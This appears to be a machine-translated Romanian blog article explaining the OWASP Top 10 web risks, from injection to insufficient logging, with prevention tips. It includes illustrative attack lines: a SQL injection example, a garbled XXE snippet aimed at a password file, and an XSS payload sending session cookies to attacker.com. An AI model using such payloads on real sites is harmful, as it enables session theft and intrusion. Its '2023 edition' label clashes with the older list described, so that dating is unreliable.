Top 10 atacuri Web comune: primii pași pentru a vă proteja site-ul

O statistică comună împărtășită adesea de către profesioniștii InfoSec este „78% din atacuri sunt împotriva aplicației”.

Nu trece nici o săptămână fără a auzi încă o încălcare sau vulnerabilitate masivă, afectând milioane de utilizatori din toate industriile. Indiferent dacă acest număr este exact sau dacă este într-adevăr doar 74% (sau mai aproape de 85%), un lucru este clar: site-urile noastre web sunt în pericol, și dacă a ta nu a fost încă atacată este doar o chestiune de timp și bani (și motivația atacatorului).

Un aspect interesant pe care multe dintre aceste atacuri îl au în comun este că acestea nu sunt extrem de tehnice și realizabile doar de echipele avansate de hackeri care stau la subsolul ANS. Cea mai comună sursă a acestor atacuri este un grup cunoscut sub numele de „script kiddies”, tineri neînstruiți, care pur și simplu descarcă seturi de instrumente automatizate de pe internet și încearcă să crape orice site aleatoriu care oferă vulnerabilități slabe exploatabile. Chiar și cei mai pricepuți cibernetici încep primele încercări folosind aceleași seturi de instrumente (sau versiuni puțin mai avansate ale acestora).

De ce ar trebui să ne pese? pentru că asta înseamnă că atacurile cele mai frecvente și vulnerabilitățile cele mai des exploatate vor fi întotdeauna primul și cel mai slab lanț în apărarea noastră.

În consecință, acesta trebuie să fie și punctul în care ne concentrăm eforturile inițiale pentru a perfecționa această apărare. Din fericire, se întâmplă să fie și cel mai ușor loc de testat și să asigure cel puțin un nivel minim de securitate.

Aceste vulnerabilități comune au fost adunate într-o listă „Top Ten” de către voluntarii prietenoși de la OWASP – Open Web Application Security Project, o organizație caritabilă la nivel mondial, fără scop lucrativ, axată pe îmbunătățirea securității software.

Deși această listă Top Ten nu este într-adevăr o „listă de verificare a securității”, este de multe ori primul set de vulnerabilități pe care atacatorii vor încerca. De asemenea, există o mulțime de instrumente automatizate care vă vor scana site-ul dvs. în serviciul atacatorilor, permițându-le să descopere rapid defectele critice care le vor permite accesul la obiectele dvs. de valoare..

Iată cele mai bune 10 riscuri de securitate a aplicației OWASP, ediția 2023:

1. Injecție

Un atacator poate fi capabil să manipuleze aplicația dvs. web modificând comenzile transmise subsistemelor sale, prin simpla trimitere de solicitări malformate cu sarcini utile. Cea mai cunoscută dintre aceste atacuri este SQL Injection, în care un utilizator al site-ului dvs. web poate determina aplicația dvs. să modifice acest lucru:

selectați * dintre utilizatorii unde nume de utilizator = „AviD” și parolă = „1234”
în acest:
selectați * dintre utilizatorii unde numele de utilizator = „Administrator”

Aceasta permite atacatorului să se conecteze la aplicația dvs. ca administrator, fără să știe măcar parola. Alte utilizări ale acestui atac ar fi să fure secrete (sau bani), să schimbe date sau chiar să ștergi toate urmele de activitate.

Alte forme includ LDAP Injection, XPath Injection, Command Injection, SMTP Injection – de fiecare dată când aplicația concatenează informațiile de încredere ale utilizatorului într-o comandă care este transmisă unui interpret. Datele anormale pot păcăli interpretul să execute comenzi neintenționate sau să acceseze date fără o autorizare corespunzătoare.

Aceste atacuri pot fi de obicei prevenit destul de ușor urmând câteva principii:

• Validați toate intrările de încredere cu o abordare din lista albă, indiferent de sursă.
• Accesați întotdeauna baza de date doar cu interogări parametrizate și proceduri stocate, în loc să concatați o interogare de tip string.
• Și mai bine, utilizați o bibliotecă ORM (obiect relațional Mapping) (cum ar fi Hibernate, Entity Framework, ActiveRecord pentru a numi câteva, în funcție de platforma dvs.).
• Limitați potențialul prejudiciu al unei exploatări de succes prin reducerea privilegiilor bazei de date a aplicației.

2. Autentificare spartă

Majoritatea aplicațiilor cer utilizatorilor să se autentifice înainte de a o utiliza, adesea cu o combinație de nume utilizator / parolă. Există multe tipuri de defecte comune cu acest sistem de autentificare, care poate fi exploatat într-o varietate de moduri: atacuri de dicționar, forță brută automatizată, umplutură de credințe, deturnare de ședințe și multe altele.

Un atacator care reușește să ghicească o parolă validă ar putea să-i însușească pe utilizator și să efectueze orice acțiune pe care victima lor ar putea să o facă – fără a putea diferenția între atacator și victimă.

Prevenirea acestui lucru necesită o abordare cu mai multe straturi:

• Modificați toate parolele implicite.
• Aplicați parole puternice, aleatorii pentru toți utilizatorii: cel puțin 12 caractere aleatorii, fără restricții, de preferat stocate într-un manager de parole; sau alternativ, o parolă cu cel puțin 5 cuvinte aleatorii.
• Limitați încercările de conectare, blocând contul de utilizator pentru o perioadă de timp după un anumit număr de parole greșite.
• Utilizați un manager de sesiune de platformă sigur, care generează la întâmplare identificatori lungi de sesiune și implementează un ciclu de viață sigur.
• Protejați parolele cu un algoritm criptografic „hash de parolă”, cum ar fi Bcrypt, scrypt sau Argon2.

De asemenea, ia în considerare implementarea autentificării cu mai mulți factori pentru atenuarea atacurilor bazate pe parolă, și nu permiteți unui atacator să vă ocolească parola, știind numele pisicii dvs. în pagina „Ați uitat parola”. Există câteva detalii suplimentare care pot fi relevante, în funcție de arhitectura și contextul dvs. specific.

3. Expunerea datelor sensibile

Secret datele de obicei trebuie protejate cu criptare și alți algoritmi criptografici. Cu toate acestea, acest lucru este prea des implementat, dacă este deloc, într-o manieră incompletă, permițând atacatorilor să capteze informații sensibile pe care nu ar trebui să le poată include, inclusiv parole, cărți de credit, informații personale (PII) și alte date critice pentru afaceri..

Unele defecte comune includ ne criptarea datelor; crearea unei scheme personalizate de criptare în loc de algoritmi și protocoale standard; folosirea tastelor slabe; expunerea cheilor de criptare; și neimplementând corect protocoalele, de ex. nevalidarea unui certificat TLS.

Folosind controale criptografice adecvate (cum ar fi criptarea AES pentru datele stocate și TLS cu HSTS activat pentru trafic), cu parametrii corecți, ar trebui să vă protejeze datele sensibile atât în ​​repaus cât și în tranzit.

4. Entități externe XML (XXE)

Adesea, aplicațiile trebuie să primească și să proceseze documente XML de la utilizatori. Analizatoarele XML vechi sau slab configurate pot activa o caracteristică XML cunoscută sub denumirea de referințe ale entităților externe din documentele XML, care atunci când este evaluat, va încorpora conținutul unui alt fișier. Atacatorii pot abuza de acest lucru citiți date confidențiale, accesați sistemele interne și chiar opriți aplicația într-un atac de refuz de serviciu (DoS).

De exemplu, un document XML care conține acest lucru:

]>&xxe;

ar include conținutul fișierului cu parolă din documentul XML.

Acest lucru poate fi prevenit prin dezactivarea pur și simplu a evaluării DTD și a entității externe în analiză sau prin modernizarea la o bibliotecă de analiză modernă care nu este vulnerabilă.

5. Controlul accesului rupt

Majoritatea aplicațiilor web limitează ceea ce utilizatorii pot vedea sau face, indiferent dacă accesează datele personale ale altui utilizator sau o zonă restrânsă.

Cu toate acestea, mecanismele de control al accesului care aplică aceste limite sunt, de regulă, implementări adaptate și adesea defecte. Atacatorii pot ocoli aceste controale sau le pot abuza pentru a accesa funcționalități sau date neautorizate, cum ar fi accesul la conturile altor utilizatori, vizualizarea fișierelor sensibile, modificarea datelor altor utilizatori, efectuarea acțiunilor administrative și multe altele.

Fixarea și prevenirea defectelor de control al accesului necesită o vizualizare sistemică. Este necesară o revizuire completă și detaliată a tuturor caracteristicilor aplicației, cerințelor sistemului, rolurilor utilizatorului și alte constrângeri. Există diferite modele comune care pot fi aplicate, în funcție de cerințe. Cele mai obișnuite includ Controlul accesului bazat pe roluri (RBAC), Controlul accesului discreționar (DAC) și Controlul accesului bazat pe integritate sau obligatoriu (MAC).

Alte modele de nișă mai pot fi bazate pe Atribute (ABAC), Policy (PBAC), Context (CBAC) și clasificare (există mai multe modele, în special în DoD), precum și diverse alte scheme personalizate. Este important să proiectăm bine modelul de control al accesului, astfel încât să poată fi aplicat uniform și administrat eficient. Începeți de la principiul cel mai mic privilegiu și autorizați numai acolo unde este necesar.

În plus, multe sisteme trebuie să ia în considerare aplicarea controalelor privind accesul la datele personale ale utilizatorilor din perspectiva confidențialității. Este din ce în ce mai important să se păstreze în mod adecvat confidențialitatea utilizatorilor și să se prevină accesul fără consimțământ, mai ales în lumina actualizării GDPR a UE.

6. Configurare greșită

Serverele și aplicațiile au o mulțime de piese mobile care trebuie să fie configurate corect. Aceasta se aplică la toate nivelurile stivei de aplicații, de la sistemul de operare și dispozitivele de rețea până la serverul web și aplicația în sine.

Configurațiile implicite, incomplete sau ad-hoc pot lăsa fișierele neprotejate, parole implicite activate, serviciile cloud deschise și informații sensibile la scurgeri prin mesaje de eroare sau anteturi HTTP, precum și numeroase alte setări nesigure care ar putea permite unui atacator să aibă acces la sistem sau la date..

Desigur, nu există o setare unică care să prevină această vulnerabilitate. Toate setările potențial vulnerabile ar trebui revizuite. Rețineți că aceasta include, de asemenea, actualizări și sisteme în timp util!

7. Scripturi cross-site (XSS)

Folosind XSS, un atacator poate modifica paginile web pe care ceilalți utilizatori le văd în aplicație, fie că este vorba de a fura informații precum parolele și cardurile de credit, răspândirea falsă a datelor, deturnarea sesiunilor utilizatorilor, redirecționarea către un alt site sau executarea de scripturi rău intenționate în browserul victimei.

Această vulnerabilitate poate apărea ori de câte ori datele neîncredute sunt incluse într-o pagină sau răspuns web, fără validare sau igienizare corespunzătoare. Atacatorul poate trimite formulare cu fragmente HTML sau JavaScript, care vor fi încorporate direct în pagină și redate de browser.

De exemplu, acest cod de server:

response.write („Bună dimineața”, + request.getParameter („Nume”));

încorporează parametrul Nume utilizator direct în ieșire. Aceasta este destinată să returneze pagina următoare, dacă numele utilizatorului este „John”:

Bună dimineața, John

În schimb, un atacator poate injecta o sarcină utilă rău intenționată:

Bună dimineața, Bossdocument.location = “http: //attacker.com/? Cookie =” + document.cookie

care va fi executat de browserul utilizatorului, trimiterea cookie-urilor de sesiune către atacator și permiterea atacatorului să deturne sesiunea.

Protecția principală împotriva atacurilor XSS este utilizarea codificării corespunzătoare. De exemplu, codarea HTML va transforma toate caracterele „speciale” în entități HTML, astfel încât acestea să fie afișate la fel pentru utilizator, dar nu sunt recunoscute de analizor ca etichete HTML valide. Cu toate acestea, există și alte forme de codificare care ar trebui utilizate în funcție de contextul specific al ieșirii de date – de ex. Codificarea atributelor, codificarea JavaScript, codarea CSS și așa mai departe. Majoritatea platformelor web moderne oferă această funcționalitate în mod automat sau ca apel de funcții și există o mulțime de biblioteci de securitate pentru cele care nu.

În plus,, este o idee bună să implementăm Politica de securitate a conținutului (CSP), pentru a preveni browserul să redea un atac XSS prin care a trecut. De asemenea, configurați cookie-urile de sesiune (fie în codul aplicației dvs. fie în configurația serverului web) pentru a include atributul HttpOnly, pentru a împiedica exploitările XSS de succes să deturneze sesiunile utilizatorilor dvs..

8. Deserializare nesigură

Cea mai nouă adăugare la această listă, Deserializarea nesigură poate permite atacuri de injecție și escaladarea privilegiilor și poate duce chiar la executarea de la distanță a codului și preluarea serverului în anumite situații.

Multe aplicații trebuie să serializeze obiecte și date într-un format care poate fi transmis cu ușurință de-a lungul firului sau chiar a persistat într-un fișier. Atunci când o aplicație restabilește aceste obiecte înapoi în memorie, deserializând datele formatate primite de la un utilizator, ar putea fi posibilă modificarea memoriei obiectului și chiar poate determina executarea funcțiilor arbitrare..

Cea mai bună modalitate de a evita deserializarea nesigură este să nu deserializați niciodată obiectele din date neîncredibile! Este mult mai bine să evitați formaturile de deserializare nativă atunci când este posibil, preferând în schimb un format de date, cum ar fi XML sau JSON.

Dacă este necesar să deserializați din formatul nativ, pentru a putea face acest lucru în condiții de siguranță necesită înțelegerea limbajului de programare intern. Există mai mulți pași necesari pentru a face acest lucru în siguranță, în funcție de limba în care a fost dezvoltată aplicația dvs. De exemplu, în Java puteți subclasa clasa java.io.ObjectInputStream. În plus, se recomandă deserializarea numai de la datele pe care aplicația dvs. le-a semnat digital.

9. Utilizarea componentelor cu vulnerabilități cunoscute

Software-ul modern nu mai este construit ca monolit – se bazează întotdeauna pe un număr din ce în ce mai mare de componente, cadre și biblioteci open source. Orice vulnerabilități cunoscute găsite în aceste dependențe pot afecta direct și propria aplicație! Uneori acest lucru va duce la alte vulnerabilități din această listă, cum ar fi injecția, executarea de la distanță a codului sau orice alt defect care ar putea permite atacatorilor să acceseze date sau acțiuni sensibile.

Recent, doar o astfel de problemă a fost învinuită pentru încălcarea masivă a Equifax, unde nu au instalat un plasture pentru Apache Struts2. În schimb, au rămas pe o versiune despre care se știe că permit atacatorilor de la distanță să execute comenzi arbitrare.

Cel mai bun mod de a evita căderea în această capcană este să revizuiește-ți toată dependențas (inclusiv dependențele tranzitive) și verificați pentru a vedea dacă vreunul dintre ei este în prezent vulnerabil. Implementați un proces pentru a vă asigura că aplicația dvs. extrage întotdeauna cele mai recente versiuni stabile ale tuturor bibliotecilor și componentelor dependente după testarea acestora. De fapt, există în prezent numeroase instrumente comerciale care pot urmări acest lucru pentru echipa dvs., precum și verificarea gratuită a dependenței OWASP..

10. Jurnal insuficient & Monitorizarea

În timp ce încercăm să facem sistemele noastre imune la toate atacurile posibile, în mod realist trebuie să acceptăm că unele atacuri vor trece prin apărarea noastră. Cu toate acestea, o apărare rezistentă ar trebui să includă mai multe straturi. Aceasta include posibilitatea detectării acelor atacuri care au reușit în ciuda tuturor eforturilor noastre, de preferință cât mai curând posibil.

Acest lucru ar putea totuși să permită unei organizații să se recupereze de la atac, sau chiar să minimizeze cât mai mult daunele. Un mecanism de înregistrare și monitorizare, combinat cu un răspuns eficient la incident, poate împiedica atacatorii să pivoteze către resurse interne suplimentare, înglobându-se permanent în organizație și inhibându-i să fure sau să modifice și mai multe date.

Implementați un mecanism de logare comun pentru întreaga aplicație. Cel mai bine este să utilizați o bibliotecă existentă, cum ar fi log4J, dar nu este necesar. Mecanismul de jurnal ar trebui să colecteze toate acțiunile inițiate de utilizator, erorile de rulare și orice alte evenimente sensibile. Asigurați-vă că datele de jurnal sunt bine protejate și nu uitați să oferiți administratorilor o interfață de căutare și revizuire!

Vestea bună este că cele mai multe dintre acestea sunt probleme relativ simple și ușor de prevenit dacă știi ce să cauți. Prin urmare, deși aceasta nu este o listă cuprinzătoare a tuturor problemelor de securitate la care ar trebui să fiți atenți, este cu siguranță unul dintre cele mai bune locuri pentru a începe expediția pe un site web protejat!